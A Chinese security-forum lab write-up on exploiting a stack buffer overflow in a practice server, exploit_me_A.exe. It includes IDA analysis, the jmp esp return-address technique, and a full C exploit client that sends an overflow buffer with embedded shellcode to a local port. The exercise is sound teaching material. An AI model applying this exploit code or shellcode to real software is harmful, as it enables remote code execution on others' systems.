查看原文
其他

实战栈溢出漏洞

自然dashen 看雪学院 2021-03-07

本文为看雪论坛优秀文章

看雪论坛作者ID:自然dashen



要求


编写exploit攻击程序,构造畸形数据包,使exploit_me_A.exe成功执行shellcode。

分析


用IDA先大体的看了下,就是一个正常的TCP的服务器,我们要给他发包让他接收到我们的包,才好继续调试他。 编写socket通信代码,想要和这个服务端通信就得知道ip和端口。
通过下面bind这个函数得参数可以知道7777是端口。
0代表是INADDR_ANY,本机所有ip都可以。
 知道这些就可以写代码了。

//创建套接字
SOCKET Clientsocket = socket(
    AF_INET,
    SOCK_STREAM,
    0);
if (Clientsocket == INVALID_SOCKET)
{
    return 0;
}
 
// 绑定端口1-65535和 IP 0.0.0.0
//链接服务器
sockaddr_in name;
name.sin_family = AF_INET;
name.sin_port = htons(7777);
name.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
int nLength = sizeof(name);
 
int nRet = connect(Clientsocket, (struct sockaddr*)&name, nLength);


接下来我又看到了recv得参数是512个字节每次接收,这里是不会溢出得,他每次收只会收512个字节,所有写服务器得一般都会循环收包,直到收完。
 接下来往下面看,这三句是判断recv的返回值,如果返回值esi==0则执行下面代码,否则跳转。也就是recv收到东西就跳转:


跳转后进入一个call,参数是buff,也就是发包的东西:


进入函数内部,很容易发现红色框抬栈0xC8,然后黑色框算buff 00结尾的长度,蓝色框是拷贝字节esi到edi。
shr 2是除4,然后赋值给ecx 然后movsd4个字节一拷贝,还剩下不能整除的字节数,and ecx,3就是%4,然后继续拷贝movsb:


在这里就能够想到当超过C8都没有00比如CC后面才有00那么返回地址不是就被覆盖了,并且我后面要跑的代码里面不能有00。根据上一篇的知识,寻找jmp esp。
我是用插件找的,这里就不详细说了,上一篇有。然后把这个地址填写到0XC8的位置。后面则可以填上不带00的shellcode,这样就能执行代码了。
 实现的效果图:


实现代码


#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Winsock2.h>
#include <iostream>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define  AnsiChar char
void Init()
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;
 
    wVersionRequested = MAKEWORD(2, 2);
 
    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0) {
        /* Tell the user that we could not find a usable */
        /* WinSock DLL. */
        return;
    }
}
 
 
int main()
{
    Init();
 
    //创建套接字
    SOCKET Clientsocket = socket(
        AF_INET,
        SOCK_STREAM,
        0);
    if (Clientsocket == INVALID_SOCKET)
    {
        return 0;
    }
 
    // 绑定端口1-65535和 IP 0.0.0.0
    //链接服务器
    sockaddr_in name;
    name.sin_family = AF_INET;
    name.sin_port = htons(7777);
    name.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    int nLength = sizeof(name);
 
    int nRet = connect(Clientsocket, (struct sockaddr*)&name, nLength);
 
     AnsiChar data[512] = {
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x90, 0x90, 0x90, 0x90,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x9D, 0xDC, 0xA6, 0x77, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
        0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A
    };
 
      char  shellcode[] =
         "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
         "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
         "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
         "\x49\x1c\x8b\x09\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75"
         "\x05\x95\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd"
         "\x8b\x59\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe"
         "\x06\x3a\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24"
         "\x1c\x75\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03"
         "\xdd\x03\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9"
         "\x33\xdb\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53"
         "\x50\x50\x53\xff\x57\xfc\x53\xff\x57\xf8";
 
    strcpy_s(&data[0xCC], sizeof(shellcode), shellcode);
    DWORD dwBytesRead = 0x200;
    send(Clientsocket, data, dwBytesRead, 0);
    closesocket(Clientsocket);
    WSACleanup();
 
    return 0;
}




- End -






看雪ID:自然dashen

https://bbs.pediy.com/user-710414.htm 

*本文由看雪论坛  自然dashen  原创,转载请注明来自看雪社区




推荐文章++++

应急服务辅助工具与系统溯源思路

利用auxv控制canary

未知黑客团队钓鱼样本分析

使用Binary Ninja去除ollvm流程平坦混淆

某盗链App逆向



好书推荐






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存